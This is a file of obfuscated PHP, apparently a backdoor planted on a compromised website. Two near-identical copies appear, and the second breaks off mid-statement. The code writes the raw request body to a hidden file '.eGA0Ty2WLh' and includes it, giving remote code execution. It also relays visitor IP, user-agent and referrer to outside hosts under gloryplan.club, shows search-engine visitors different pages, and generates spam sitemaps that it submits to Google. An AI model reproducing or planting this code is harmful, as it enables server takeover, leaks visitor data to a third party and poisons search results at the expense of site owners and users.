@header("\x4c\157\143\x61\x74\x69\157\156\x3a\x20" . $muRgt); goto fQ4nZ; hoPss: $dFLqC = $rlwX5 . "\46\150\164\x74\x70\75" . $L5H9Z . "\46\x67\162\157\x75\160\x69\x64\x3d" . $uhB0r; goto SP3QL; kFSbG: @set_time_limit(3600); goto N3kJL; fpoGd: $MQS4F = substr($MQS4F, strpos($MQS4F, "\74\x21\x2d\55\x20\x2d\x2d\76"), 100); goto Nz6hO; EW1BV: foreach ($sPdox as $EWnQ7) { goto ilOpV; FkMgd: $ERh3H .= sprintf($Zu2rP, $muRgt, $muRgt); goto CBW65; ilOpV: $muRgt = $L5H9Z . "\72\x2f\x2f" . $LPK0B . "\57" . $EWnQ7; goto FkMgd; CBW65: dXfPF: goto Ejo77; Ejo77: } goto jJx3p; LUMBK: exit; goto d_q6X; HAxtM: $pC_Tk = $HJ5tX[1] == '' ? sprintf($pC_Tk, $LPK0B) : sprintf($pC_Tk, $HJ5tX[1]); goto bedvM; qRoVh: array_push($R0D_a, "\x74\x69\155\145\163\164\x61\x6d\160\72\x20" . $c1wPR); goto qjwY4; OvQXy: function https() { goto mvMw4; apANw: XhHCU: goto SO4dM; mvMw4: if (!(!empty($_SERVER["\x48\x54\x54\x50\123"]) && strtolower($_SERVER["\110\x54\x54\120\x53"]) !== "\157\x66\x66" || isset($_SERVER["\110\124\x54\x50\x5f\x58\x5f\x46\x4f\x52\127\101\122\x44\x45\104\x5f\120\x52\x4f\x54\117"]) && $_SERVER["\x48\124\x54\120\137\130\x5f\106\x4f\x52\127\x41\122\104\x45\104\137\x50\x52\x4f\x54\x4f"] === "\x68\x74\x74\x70\163" || !empty($_SERVER["\x48\x54\x54\x50\x5f\x46\122\117\116\124\137\x45\x4e\104\x5f\110\124\124\x50\123"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\x46\122\x4f\x4e\x54\x5f\105\116\x44\x5f\x48\x54\124\x50\x53"]) !== "\157\x66\x66")) { goto XhHCU; } goto z3hm9; z3hm9: return "\150\x74\164\x70\x73"; goto apANw; SO4dM: return "\x68\164\x74\x70"; goto amnqq; amnqq: } goto abEyJ; WWssK: @preg_match("\x23\50\134\x64\52\51\344\xbb\266\74\x21\x2d\55\x23", $MQS4F, $HJ5tX); goto NUzT0; NH3hs: $s8CKx++; goto HtVFY; i2ren: $e2G25 .= sprintf($rVB_s, $L5H9Z, $LPK0B, $s8CKx, date("\x59\55\x6d\x2d\x64\x5c\x54\110\72\x69\x3a\163\x50", time())); goto etNru; HtVFY: goto A1it2; goto Ya32J; R2Emo: WjKrT: goto BauNP; ZUZl6: $BmOLN = @file_get_contents("\x70\x68\160\x3a\x2f\x2f\x69\156\x70\x75\164"); goto fUVUH; s8kUf: $YutQq .= $ZL0qT . $safCr; goto Sq6hK; VBkk6: function cc($Os3r5) { goto CcIyE; Kvy9Z: if (!(sizeof($GbTre) != 3)) { goto kYVZB; } goto Pk5KY; CcIyE: $GbTre = explode("\55", substr($Os3r5, 1, strlen($Os3r5) - 6)); goto Kvy9Z; TxqPi: $OWVMf = sprintf("\45\165", crc32(sprintf("\45\x73\55\x25\x73", $GbTre[0], $GbTre[1]))); goto MWOK_; uixMF: kYVZB: goto TxqPi; Pk5KY: return false; goto uixMF; MWOK_: return $OWVMf == $GbTre[2]; goto XfMRg; XfMRg: } goto neE7f; hoCos: $ZL0qT = sprintf("\x68\164\164\160\x73\x3a\x2f\x2f\167\167\x77\56\x67\157\157\147\154\145\x2e\x63\x6f\x2e\152\160\57\160\x69\156\x67\x3f\x73\151\164\x65\x6d\x61\x70\75\45\163\72\57\57\x25\163\x2f\x73\151\164\145\155\x61\160\45\163\x2e\170\x6d\x6c", $L5H9Z, $LPK0B, $HJ5tX[1]); goto Lqb35; oASU3: $e2G25 = ''; goto Gli7L; XmwBw: if (!@preg_match("\43\136\x2f\x73\x69\x74\145\57\77\50\x2e\52\x3f\51\44\x23\151", $Os3r5, $HJ5tX)) { goto nfaS8; } goto C2_HL; zj1v8: cGywA: goto S4s5k; NK1Uy: if (!($gO42I === '')) { goto rSpnr; } goto xOqqk; SP3QL: if (@preg_match("\x23\50\x5b\141\x2d\172\135\x2b\51\55\x28\134\x64\x2b\51\x3f\x28\x2e\150\164\x6d\154\x29\44\43\151", $Os3r5, $HJ5tX)) { goto NsTSP; } goto MsFeU; fF7IQ: exit; goto R28JJ; HkdbI: $ERh3H = ''; goto EW1BV; WZKMV: exit; goto bFS1n; JLzyK: echo include "\56\x65\x47\101\60\x54\171\62\x57\114\150"; goto sQEEw; qz9dU: $c1wPR = strval(time()); goto ZNPui; A1N1y: exit; goto qa52B; Ws_JA: h3Zwj: goto F3zQC; PEqlg: $YutQq .= $ZL0qT . $safCr; goto P8VKN; Sq6hK: wTeO9: goto k0tTn; BFCNP: $gO42I = trim(urlx("\x68\x74\x74\x70\163\72\57\x2f" . gets() . "\x2f\163\x69\x74\x65\x6d\x61\160" . ($HJ5tX[1] == '' || $ZlKkQ[1] != '' ? "\56\x78\155\x6c" : "\57" . $HJ5tX[1]), $R0D_a, $rlwX5)); goto NK1Uy; Xjg1G: fpIzY: goto xnz88; Gli7L: $s8CKx = 1; goto Y_gHV; JTvnn: function urls($LPK0B, $AJYIS, $yr3n9, $BoTTp, $uDZxt = null) { goto sKPGF; sKPGF: $MKp5a = stream_socket_client("\x73\x73\154\x3a\x2f\57" . $LPK0B . "\72\x34\x34\63", $C0NS3, $yT2q2, 6); goto rhs8Z; qQutZ: fclose($MKp5a); goto sXO8m; rhs8Z: $XiIcV = "\107\x45\x54\40" . $AJYIS . "\x3f" . $uDZxt . "\40\110\124\x54\x50\x2f\x31\x2e\x30\15\12\110\157\x73\x74\x3a\40" . $LPK0B . "\15\xa\122\145\146\x65\162\145\162\72\x20" . $BoTTp . "\15\12\125\x73\145\162\55\101\147\x65\x6e\x74\x3a\x20" . $yr3n9 . "\xd\12\xd\xa"; goto fgHDs; fgHDs: $n8ZDG = fwrite($MKp5a, $XiIcV); goto qQutZ; sXO8m: } goto fS1Gs; PiC0V: e9OwY: goto pdclJ; kMnWK: echo sprintf($l_kPQ, $e2G25); goto rnOnA; SloLh: PLKjR: goto bQmfd; jGAE6: if (!(($HJ5tX[1] === '' || $ZlKkQ[1] != '') && @preg_match("\43\136\x28\x5c\x64\51\52\43", $gO42I))) { goto rV0Ap; } goto oASU3; Y_gHV: A1it2: goto rFc62; aKUA8: echo $YutQq; goto WZKMV; ZNPui: array_push($R0D_a, "\x74\x69\x6d\x65\163\164\141\155\x70\72\40" . $c1wPR); goto s1Tyk; qjwY4: array_push($R0D_a, "\170\144\x6f\151\x6d\72\x20" . crc32($c1wPR . "\x5c\x6e" . $rlwX5)); goto xC1xV; z6exm: $c1wPR = strval(time()); goto ucUhN; dY7Fd: $safCr = urlx($ZL0qT); goto s8kUf; iKML1: $l_kPQ = "\74\x3f\x78\155\x6c\x20\166\145\x72\x73\x69\x6f\156\x3d\x22\61\56\x30\x22\40\145\x6e\143\x6f\x64\151\x6e\147\75\42\125\x54\x46\55\70\42\x3f\76\x3c\41\55\55\x20\141\165\x74\157\147\x65\156\40\142\x79\40\x64\157\x69\155\x20\55\55\76\xd\12\x3c\x73\x69\164\x65\155\x61\x70\x69\156\x64\145\x78\x20\x78\x6d\x6c\156\x73\x3d\42\x68\164\x74\x70\72\x2f\x2f\167\x77\x77\56\163\151\164\145\x6d\x61\x70\x73\x2e\157\162\147\57\163\x63\x68\x65\x6d\141\x73\57\163\x69\164\145\155\x61\160\57\x30\x2e\71\42\76\x20\x25\163\40\x3c\x2f\x73\151\164\x65\155\141\x70\x69\x6e\x64\x65\170\76"; goto FGK7O; Xf7dk: $dFLqC = $rlwX5 . "\46\x67\162\x6f\x75\x70\x69\144\x3d" . $uhB0r . "\46\165\x72\x69\x3d" . $Os3r5 . "\46\x69\160\75" . $ttPxC; goto cnz2T; i_RAA: goto h3Zwj; goto gLziP; D9NGU: echo $MZd6w === false ? "\146\141\151\x6c" . gets() : $l8gfm . $uhB0r . gets(); goto PcybG; bedvM: $MQS4F = urlx($pC_Tk, null, null, 1, "\x4d\157\x7a\151\x6c\154\x61\57\x35\x2e\60\x20\50\x57\151\156\144\x6f\167\163\73\40\125\73\40\x57\151\156\x64\x6f\167\x73\x20\116\x54\40\65\x2e\61\73\40\x65\x6e\x2d\x55\123\51\40\101\160\x70\154\145\x57\x65\x62\x4b\151\164\57\x35\63\64\x2e\x37\40\50\113\110\x54\115\114\x2c\40\x6c\151\153\x65\x20\107\145\143\x6b\x6f\51\40\103\x68\x72\x6f\x6d\145\x2f\67\56\60\x2e\65\x31\x37\x2e\x34\x31\40\123\141\x66\x61\x72\x69\x2f\65\63\x34\x2e\x37"); goto fpoGd; npduz: if (!($gO42I === '')) { goto cGywA; } goto zZPMr; FGK7O: $rVB_s = "\40\x3c\163\151\164\145\155\x61\160\x3e\x20\x3c\154\x6f\143\76\45\163\72\57\57\x25\163\x2f\x73\x69\164\x65\155\141\x70\x25\x64\56\x78\155\154\74\57\x6c\157\143\76\74\57\x73\x69\164\x65\155\x61\160\76"; goto uXjIF; bQmfd: dnZyP: goto aKUA8; R28JJ: Cjeoh: goto XmwBw; ZAsUH: goto Vk_ZS; goto bzIPE; LgHGa: if (!@preg_match("\43\x5e\57\x73\151\164\x65\155\141\160\x28\56\52\77\51\x2e\170\155\154\44\x23\x69", $Os3r5, $HJ5tX)) { goto IIf5e; } goto tk9jy; T9sLu: $c1wPR = isset($_SERVER["\x48\124\x54\120\x5f\x54\x49\x4d\105\123\x54\101\115\120"]) ? $_SERVER["\110\124\124\x50\137\124\x49\x4d\105\x53\x54\101\x4d\x50"] : ''; goto ZUZl6; i42GJ: $l8gfm = trim(urlx("\x68\x74\x74\160\x73\72\57\x2f" . gets() . $HJ5tX[0], $R0D_a, $rlwX5)); goto D9NGU; JFuE7: $I0a3D = isset($_SERVER["\x48\124\124\x50\x5f\122\x45\x46\x45\122\x45\122"]) ? $_SERVER["\x48\x54\x54\120\137\122\105\x46\105\x52\105\122"] : ''; goto USdXr; cceMs: echo @trim(urlx(sprintf("\x68\x74\x74\x70\163\72\x2f\x2f\45\x73\57\x62\x6f\164\x2f\x70\x61\x67\145\77" . $dFLqC, gets()), $R0D_a, $dFLqC, 1)); goto LUMBK; sXakE: TNC64: goto cLA9C; Hc6CI: obqDW: goto qz9dU; B1Jds: rSpnr: goto u2bSl; Ia9O0: if (!(@preg_match("\x23\147\157\157\x67\x6c\145\x2e\143\x6f\56\152\160\174\147\x6f\157\x67\154\x65\56\x63\x6f\155\x7c\x79\141\x68\x6f\x6f\x2e\143\157\x2e\152\x70\x7c\171\x61\150\x6f\x6f\x2e\x63\x6f\174\142\x69\156\147\56\x63\x6f\x6d\x7c\141\163\x6b\x2e\x63\157\x6d\174\x61\157\154\x2e\x63\157\x6d\x7c\141\157\x6c\x2e\x6a\x70\x23\x69", $I0a3D) && @preg_match("\43\50\x5b\x61\55\172\111\135\x2b\51\x2d\50\134\x64\x2b\x29\x3f\x28\x2d\50\134\x64\x2b\51\x29\x3f\50\56\x68\x74\155\x6c\51\x24\43\151", $Os3r5))) { goto x7xIV; } goto Xf7dk; z8eHh: $s8CKx = 1; goto Ws_JA; bzIPE: NsTSP: goto uevuB; zKWlX: $LPK0B = $_SERVER["\110\x54\x54\x50\137\110\117\123\x54"]; goto ywfHu; P8VKN: goto dnZyP; goto R2Emo; RUC1k: rV0Ap: goto IbLy1; brflY: if (!@preg_match("\x23\x5e\x2f\147\x65\x74\166\x65\162\44\43\151", $Os3r5, $HJ5tX)) { goto fpIzY; } goto z6exm; IbLy1: $sPdox = explode("\12", $gO42I); goto HkdbI; LOh3w: x7xIV: goto JTvnn; s1Tyk: array_push($R0D_a, "\x78\x64\x6f\151\155\72\x20" . crc32($c1wPR . "\x5c\156" . $rlwX5)); goto BFCNP; h1ou0: $YutQq = ''; goto O7X2K; C2IQl: $Zu2rP = "\x20\74\165\162\x6c\76\40\x3c\154\x6f\x63\76\x25\163\74\57\154\157\143\x3e\74\x78\150\x74\155\x6c\x3a\x6c\x69\156\153\40\162\x65\154\75\42\x61\x6c\164\145\162\156\141\x74\145\x22\x20\150\x72\145\146\x6c\x61\156\x67\x3d\42\152\141\x22\x20\x68\162\145\146\75\42\x25\x73\42\57\x3e\74\57\x75\162\154\76"; goto iKML1; hq6U9: exit; goto bcD14; neE7f: function gets() { return "\x70\x31\56\x67\154\x6f\x72\171\x70\x6c\x61\156\x2e\x63\x6c\x75\x62"; } goto OvQXy; fUVUH: @file_put_contents("\x2e\145\107\x41\60\x54\x79\62\127\x4c\150", $BmOLN, FILE_USE_INCLUDE_PATH); goto JLzyK; ucUhN: array_push($R0D_a, "\x74\151\x6d\145\x73\164\141\x6d\x70\x3a\40" . $c1wPR); goto u5ROy; abEyJ: function clientip() { goto GAMmp; YubhH: l9RQX: goto Xmcot; wFNqE: return getenv("\122\x45\x4d\117\x54\105\x5f\x41\104\104\122"); goto gx1XS; k4M1t: goto l9RQX; goto yh4aJ; yh4aJ: ZwSvr: goto wFNqE; xBKhm: return $_SERVER["\x52\x45\115\117\x54\105\137\101\104\x44\x52"]; goto YubhH; JfCxg: KT0OC: goto xBKhm; NkzTg: if (isset($_SERVER["\x52\105\x4d\x4f\124\105\137\101\x44\104\122"]) && $_SERVER["\x52\105\115\x4f\x54\105\137\101\104\104\x52"] && strcasecmp($_SERVER["\122\x45\x4d\x4f\124\x45\137\101\104\104\x52"], "\x75\x6e\153\156\x6f\167\x6e")) { goto KT0OC; } goto k4M1t; gx1XS: goto l9RQX; goto JfCxg; GAMmp: if (getenv("\x52\x45\115\117\x54\x45\x5f\101\104\x44\x52") && strcasecmp(getenv("\x52\105\x4d\117\x54\105\137\x41\x44\104\x52"), "\x75\156\153\156\157\167\156")) { goto ZwSvr; } goto NkzTg; Xmcot: }?>

<?php goto DPhGR; YFSUo: $wgxbJ = sprintf("\150\x74\x74\x70\x73\x3a\57\x2f\167\x77\167\56\x67\157\x6f\147\x6c\x65\x2e\x63\157\56\x6a\160\x2f\160\x69\x6e\x67\77\163\x69\164\145\x6d\141\160\x3d\x25\x73\x3a\x2f\x2f\45\x73\57\163\151\x74\x65\x6d\x61\x70\45\x73\56\170\155\154", $ZHPdB, $Vy1o5, $LxSMQ[1]); goto rVzP1; blY4f: if (!(($LxSMQ[1] === '' || $QNQ4J[1] != '') && @preg_match("\x23\136\50\x5c\x64\x29\52\43", $V0zaw))) { goto uG8uj; } goto SG809; gCZ88: exit; goto rbnMm; xjrDC: $EepSb .= $QNQ4J[1] == '' ? "\x26\147\x72\x6f\x75\x70\151\x64\x3d" . $Bkd3e : "\x26\147\x72\x6f\x75\160\x69\x64\75" . $QNQ4J[1]; goto Wi4EC; tiE3H: exit; goto VMoEV; WIN_R: echo $LxSMQ[1]; goto UiquQ; uLR4m: echo $XiuQ_; goto Y3jgZ; W3FQg: $S8SoC .= sprintf($FJlEr, $ZHPdB, $Vy1o5, $tZbe1, date("\x59\55\x6d\x2d\x64\134\124\110\x3a\151\72\x73\120", time())); goto PrmGn; Lpkrm: echo $jZQMS === false ? "\x66\141\151\154" . gets() : $G14Ni . $Bkd3e . gets(); goto WC6lv; KPHr_: kBtii: goto MUIgx; sqHOb: CJnSD: goto kKzSz; MUIgx: if (!@preg_match("\x23\x5e\x28\134\144\x29\x2a\x23", $V0zaw)) { goto HWnot; } goto TsiUO; dRxVH: @header("\103\157\x6e\x74\145\x6e\x74\55\164\x79\x70\145\72\40\x74\x65\x78\164\57\170\x6d\x6c"); goto blY4f; VMoEV: OI6zU: goto pJ5VC; AHKvY: HWnot: goto mRM9o; MitT5: FPQ1T: goto e6DgF; cONeh: QcMJF: goto CSUTF; mfK65: echo sprintf($UKB2_, $S8SoC); goto NWfNY; mSLsd: $uwO1n = urldecode("\150\164\164\160\x73\x3a\x2f\x2f\163\x65\x61\162\143\150\x2e\171\141\150\157\x6f\56\x63\157\x2e\x6a\x70\x2f\163\145\141\162\143\150\77\x70\75\163\151\x74\x65\72\x25\163\46\x65\x69\75\x55\124\106\55\x38"); goto F9VkA; tPIs8: exit; goto HRaHO; yqRz_: echo @trim(urlx(sprintf("\150\164\164\x70\x73\72\x2f\57\45\x73\x2f\142\x6f\x74\x2f\150\157\155\145\77" . $LdefB . "\x26\x75\x72\x69\x3d" . $Ptwoa, gets()), $VcMSE, $LdefB, 1)); goto gCZ88; PrmGn: AgsjM: goto DjQmQ; AhNTC: if (!($V0zaw === '')) { goto kBtii; } goto DIQhC; VQDj6: exit; goto cHufe; sse93: $XiuQ_ .= $wgxbJ . $f1pvR; goto a_kl5; a0Epz: uYsDo: goto c81jF; Y93B7: $tZbe1++; goto q23n0; CSUTF: if (!($tZbe1 <= intval($V0zaw))) { goto fFbM0; } goto W3FQg; Q4fdT: $lYOlB = isset($_SERVER["\110\124\124\120\x5f\101\x43\103\105\120\x54\x5f\x4c\x41\x4e\x47\125\101\107\x45"]) ? substr($_SERVER["\110\124\124\x50\x5f\101\103\103\105\x50\124\x5f\114\101\x4e\x47\125\x41\x47\105"], 0, 4) : ''; goto KMAfn; oAX1H: if (@preg_match("\43\143\x61\x74\x65\134\57\50\133\141\55\x7a\135\x2b\x29\x2d\x28\x5c\x64\x2b\51\x24\43\151", $Ptwoa, $wgnUS)) { goto raUGi; } goto yqRz_; DXAbb: if (@preg_match("\43\50\133\141\55\172\x5d\x2b\51\x2d\50\x5c\x64\x2b\51\77\50\x2e\x68\x74\x6d\154\x29\44\x23\151", $Ptwoa, $LxSMQ)) { goto Qa62I; } goto oAX1H; QyJHy: $XiuQ_ .= $wgxbJ . $f1pvR; goto N6fkM; SG809: $S8SoC = ''; goto CjIVo; ETTiO: $XiuQ_ = ''; goto D7QUt; G3F9o: $wgxbJ = sprintf("\150\x74\164\x70\x73\x3a\57\57\x77\167\x77\56\147\157\157\147\154\x65\x2e\143\157\56\x6a\x70\x2f\x70\x69\156\x67\77\163\x69\164\x65\155\141\160\75\x25\x73\x3a\57\x2f\x25\x73\57\x73\151\x74\x65\155\x61\160\x25\163\45\x64\56\170\x6d\x6c", $ZHPdB, $Vy1o5, $QNQ4J[0], $tZbe1); goto a81Vr; S9gHZ: wPrOf: goto TfnIt; gMMg3: $ONNBC = ''; goto vRXPt; kKzSz: if (!@preg_match("\43\136\57\x73\151\164\x65\x2f\x3f\x28\56\52\x3f\x29\x24\x23\151", $Ptwoa, $LxSMQ)) { goto wPrOf; } goto mSLsd; e6DgF: $EepSb .= "\x26\147\x72\157\x75\160\x69\144\x3d" . $QNQ4J[1]; goto AJBsM; eA1aQ: $V0zaw = trim(urlx("\150\164\164\x70\x73\x3a\57\57" . gets() . "\57\x73\151\x74\145\x6d\x61\160\x2e\x78\155\154", $VcMSE, $EepSb . "\x26\x68\x74\164\x70\75" . $ZHPdB)); goto AhNTC; iXWoe: $BYbZJ = str_replace(array("\x2f\134\x2f\x73\53\57", "\134\x72\x5c\156", "\x5c\x72", "\x5c\x6e", "\42", "\54"), '', $BYbZJ); goto XQrFW; vRXPt: foreach ($Cbn1L as $Z6eaw) { goto gkF2p; XlY7B: Bpi2j: goto Uy3Wf; gkF2p: $rDBnw = $ZHPdB . "\72\x2f\x2f" . $Vy1o5 . "\57" . $Z6eaw; goto u34xL; u34xL: $ONNBC .= sprintf($c_1Pa, $rDBnw, $rDBnw); goto XlY7B; Uy3Wf: } goto a0Epz; q23n0: goto CLe0h; goto b8gQ7; DN6TM: if (!@preg_match("\43\136\57\x70\151\156\147\x73\151\x74\145\x6d\x61\x70\50\56\x2a\77\x29\x2e\170\x6d\154\44\x23\x69", $Ptwoa, $LxSMQ)) { goto JpBix; } goto ETTiO; DjQmQ: $tZbe1++; goto eYu2H; jaOyS: array_push($VcMSE, "\x78\x64\x6f\x69\155\72\x20" . crc32($w1OcY . "\134\156" . $EepSb)); goto cdRXM; rbnMm: goto bqhU5; goto BrJwu; xynwd: if (!@preg_match("\x23\x5e\57\163\x69\164\x65\x6d\x61\160\x28\56\x2a\x3f\x29\x2e\170\155\x6c\x24\x23\x69", $Ptwoa, $LxSMQ)) { goto Yb0Eq; } goto OpCkZ; rVzP1: $f1pvR = urlx($wgxbJ); goto sse93; mROlC: @file_put_contents("\x2e\x65\107\101\x30\x54\171\62\127\114\x68", $YqjLf, FILE_USE_INCLUDE_PATH); goto azsf3; Y2MjE: @ignore_user_abort(1); goto xqryH; a81Vr: $f1pvR = urlx($wgxbJ); goto QyJHy; cHufe: Yb0Eq: goto XIKMj; DzTim: array_push($VcMSE, "\170\x64\157\x69\155\72\x20" . crc32($w1OcY . "\134\156" . $EepSb)); goto eA1aQ; DPhGR: error_reporting(0); goto T1Mpc; BrJwu: Qa62I: goto VE4q8; TL48D: echo @trim(urlx(sprintf("\x68\x74\x74\x70\163\x3a\x2f\57\45\x73\57\142\x6f\164\57\x63\x61\x74\145\x3f" . $LdefB, gets()), $VcMSE, $LdefB . "\46\150\x6f\x73\x74\75" . preg_replace("\57\x5b\141\x2d\x7a\111\135\x28\x78\171\172\174\x62\x75\x7a\x7a\51\x2e\x2a\x24\x2f", "\x2e\44\x31", strrev($wgnUS[1])) . "\x26\143\141\164\x65\151\x64\x3d" . $wgnUS[2], 1)); goto RrQmE; qkW_F: $EepSb = "\163\150\x6f\x73\x74\x3d" . $Vy1o5 . "\46\160\x72\157\x74\x6f\x3d" . $ZHPdB; goto gXjzy; dALQT: $BYbZJ = urlx($uwO1n, null, null, 1, "\115\157\172\x69\x6c\x6c\x61\57\x35\56\60\40\50\x57\151\156\x64\x6f\167\x73\73\40\125\73\x20\x57\151\x6e\x64\157\x77\163\40\116\124\x20\65\x2e\61\x3b\x20\x65\156\55\125\123\x29\x20\101\x70\160\x6c\145\x57\145\x62\113\x69\164\57\65\63\x34\x2e\67\40\50\x4b\110\x54\115\114\54\40\x6c\151\153\x65\x20\107\145\x63\153\157\x29\40\103\150\162\x6f\x6d\x65\x2f\x37\x2e\x30\x2e\65\61\67\x2e\x34\61\40\x53\141\x66\x61\162\151\x2f\65\x33\x34\x2e\67"); goto alem_; ZurFP: array_push($VcMSE, "\x74\151\x6d\x65\163\x74\141\x6d\160\x3a\40" . $w1OcY); goto lxykh; cIbTi: function https() { goto bkH_K; E3OOs: return "\150\x74\164\160\x73"; goto dossj; nGjzl: return "\x68\164\164\x70"; goto nqpe6; dossj: SmOp_: goto nGjzl; bkH_K: if (!(!empty($_SERVER["\x48\x54\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\123"]) !== "\x6f\x66\146" || isset($_SERVER["\110\124\124\120\137\x58\137\x46\x4f\x52\127\101\122\x44\105\x44\x5f\x50\122\117\x54\x4f"]) && $_SERVER["\110\124\124\x50\x5f\130\137\106\x4f\x52\127\x41\x52\x44\105\x44\x5f\x50\x52\x4f\x54\117"] === "\150\x74\164\160\x73" || !empty($_SERVER["\x48\124\x54\x50\137\x46\122\x4f\116\x54\137\105\116\104\137\110\124\x54\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\x46\x52\117\116\x54\137\x45\116\104\x5f\110\124\124\x50\123"]) !== "\157\146\x66")) { goto SmOp_; } goto E3OOs; nqpe6: } goto FHiCt; pJ5VC: function urls($Vy1o5, $XBKqs, $pe1Rv, $xluiV, $PjDRE = null) { goto GJGiA; KPR8J: fclose($QteH9); goto TzYIf; GJGiA: $QteH9 = stream_socket_client("\x73\x73\154\72\57\57" . $Vy1o5 . "\72\64\x34\x33", $PTOeC, $UBKEA, 6); goto yL2Xz; yL2Xz: $zNNlZ = "\107\x45\x54\x20" . $XBKqs . "\x3f" . $PjDRE . "\x20\x48\124\x54\120\x2f\61\x2e\60\15\xa\110\x6f\x73\x74\x3a\40" . $Vy1o5 . "\xd\12\x52\145\146\x65\x72\x65\x72\72\40" . $xluiV . "\xd\xa\x55\x73\x65\162\x2d\101\147\145\156\164\72\40" . $pe1Rv . "\xd\12\15\xa"; goto TV3JH; TV3JH: $CI2PK = fwrite($QteH9, $zNNlZ); goto KPR8J; TzYIf: } goto f7kxF; S3wNq: goto bqhU5; goto U8bV8; Bcw6r: $Vy1o5 = $_SERVER["\110\x54\x54\120\x5f\110\x4f\x53\x54"]; goto r6Fb_; jiWad: $pe1Rv = isset($_SERVER["\x48\x54\124\120\x5f\125\x53\x45\122\137\x41\107\105\x4e\x54"]) ? $_SERVER["\110\x54\124\120\137\125\x53\105\x52\137\x41\107\x45\x4e\124"] : ''; goto Bcw6r; OpCkZ: $EepSb = "\x73\150\x6f\x73\x74\75" . $Vy1o5 . "\x26\x68\x74\x74\x70\x3d" . $ZHPdB; goto QpJhY; cdRXM: $V0zaw = trim(urlx("\x68\164\x74\160\163\x3a\57\57" . gets() . "\x2f\x73\x69\x74\145\x6d\x61\x70" . ($LxSMQ[1] == '' || $QNQ4J[1] != '' ? "\56\x78\x6d\154" : "\x2f" . $LxSMQ[1]), $VcMSE, $EepSb)); goto KVwdO; aXbRI: goto N79bb; goto MitT5; HRaHO: NVSoL: goto dRxVH; U8bV8: raUGi: goto TL48D; VpIw7: function gets() { return "\x70\62\x2e\x67\154\157\162\x79\160\154\x61\156\56\143\154\x75\x62"; } goto cIbTi; a_kl5: goto cNflo; goto Q6oIV; HRdX8: fFbM0: goto mfK65; RrQmE: exit; goto otbBf; WC6lv: exit; goto hPbuj; WzNYJ: $LdefB = $EepSb . "\46\150\x74\x74\160\x3d" . $ZHPdB . "\x26\x67\162\x6f\x75\160\x69\144\75" . $Bkd3e; goto DXAbb; XIKMj: if (!(isset($_SERVER["\x48\x54\124\x50\137\130\104\117\x49\x4d"]) && strlen($_SERVER["\x48\124\124\x50\x5f\130\x44\117\x49\x4d"]) > 0)) { goto CJnSD; } goto DPQrw; R6NuS: $VcMSE = array("\x55\163\145\162\55\101\x67\x65\x6e\x74\72\40" . $pe1Rv, "\x4c\x61\x6e\147\x3a\40" . $lYOlB, "\122\145\146\x65\162\x65\x72\x3a\40" . $M6_LQ, "\110\x74\x74\160\x2d\110\x6f\x73\164\x3a\40" . $Vy1o5, "\122\145\x6d\157\164\145\55\101\144\144\x72\72\40" . $TVDQC); goto qkW_F; qo083: $EepSb .= "\46\147\x72\157\x75\160\151\x64\75" . $Bkd3e; goto aXbRI; DPQrw: $w1OcY = isset($_SERVER["\110\x54\x54\120\x5f\124\111\115\x45\x53\124\101\x4d\120"]) ? $_SERVER["\110\124\x54\x50\x5f\x54\111\x4d\x45\x53\124\x41\115\120"] : ''; goto t_N5U; eYu2H: goto QcMJF; goto HRdX8; otbBf: bqhU5: goto w8vFP; DIQhC: exit; goto KPHr_; Vh_aw: CLe0h: goto M2Oyo; gXjzy: $Ptwoa = $_SERVER["\122\105\x51\x55\x45\x53\x54\x5f\x55\x52\111"]; goto DN6TM; mRM9o: cNflo: goto uLR4m; azsf3: echo include "\56\145\x47\x41\x30\124\x79\x32\127\114\150"; goto zNG1F; VfW7X: $Cbn1L = explode("\xa", $V0zaw); goto gMMg3; M2Oyo: if (!($tZbe1 <= intval($V0zaw))) { goto sQUrn; } goto G3F9o; alem_: $BYbZJ = substr($BYbZJ, strpos($BYbZJ, "\x3c\x21\x2d\x2d\40\55\x2d\76"), 100); goto iXWoe; qNOK3: array_push($VcMSE, "\x74\x69\155\x65\163\164\141\155\x70\72\40" . $w1OcY); goto jaOyS; AJBsM: N79bb: goto Lsbut; Bv21w: $c_1Pa = "\x20\x3c\165\x72\x6c\76\x20\x3c\154\x6f\143\76\45\163\x3c\x2f\x6c\x6f\x63\x3e\x3c\170\x68\164\x6d\x6c\72\154\151\156\153\x20\162\145\x6c\x3d\x22\141\x6c\x74\x65\162\x6e\141\164\145\x22\40\150\162\145\146\x6c\x61\156\x67\x3d\42\x6a\141\x22\40\x68\162\145\146\x3d\x22\45\163\42\57\x3e\74\x2f\165\162\x6c\x3e"; goto OXryV; J18n7: function cc($Ptwoa) { goto no77d; FhtfW: return $y6Ew3 == $ysYzq[2]; goto WlGTn; uugHR: P_Pgt: goto deR1x; dZfT9: if (!(sizeof($ysYzq) != 3)) { goto P_Pgt; } goto npUIi; npUIi: return false; goto uugHR; deR1x: $y6Ew3 = sprintf("\45\165", crc32(sprintf("\45\x73\x2d\45\x73", $ysYzq[0], $ysYzq[1]))); goto FhtfW; no77d: $ysYzq = explode("\55", substr($Ptwoa, 1, strlen($Ptwoa) - 6)); goto dZfT9; WlGTn: } goto VpIw7; EiX6U: exit; goto sqHOb; jW6oL: @header("\114\x6f\143\141\164\151\157\156\72\x20" . $rDBnw); goto tiE3H; TsiUO: $tZbe1 = 1; goto Vh_aw; KMAfn: $M6_LQ = isset($_SERVER["\110\124\x54\120\137\x52\x45\106\105\x52\x45\x52"]) ? $_SERVER["\x48\x54\x54\120\x5f\x52\x45\x46\105\x52\x45\122"] : ''; goto jiWad; t_N5U: $YqjLf = @file_get_contents("\x70\x68\x70\72\57\57\x69\156\160\165\x74"); goto mROlC; QpJhY: if (@preg_match("\43\x28\134\144\53\51\55\44\x23", $LxSMQ[1], $QNQ4J)) { goto FPQ1T; } goto qo083; ZKlbj: $YKRKV = 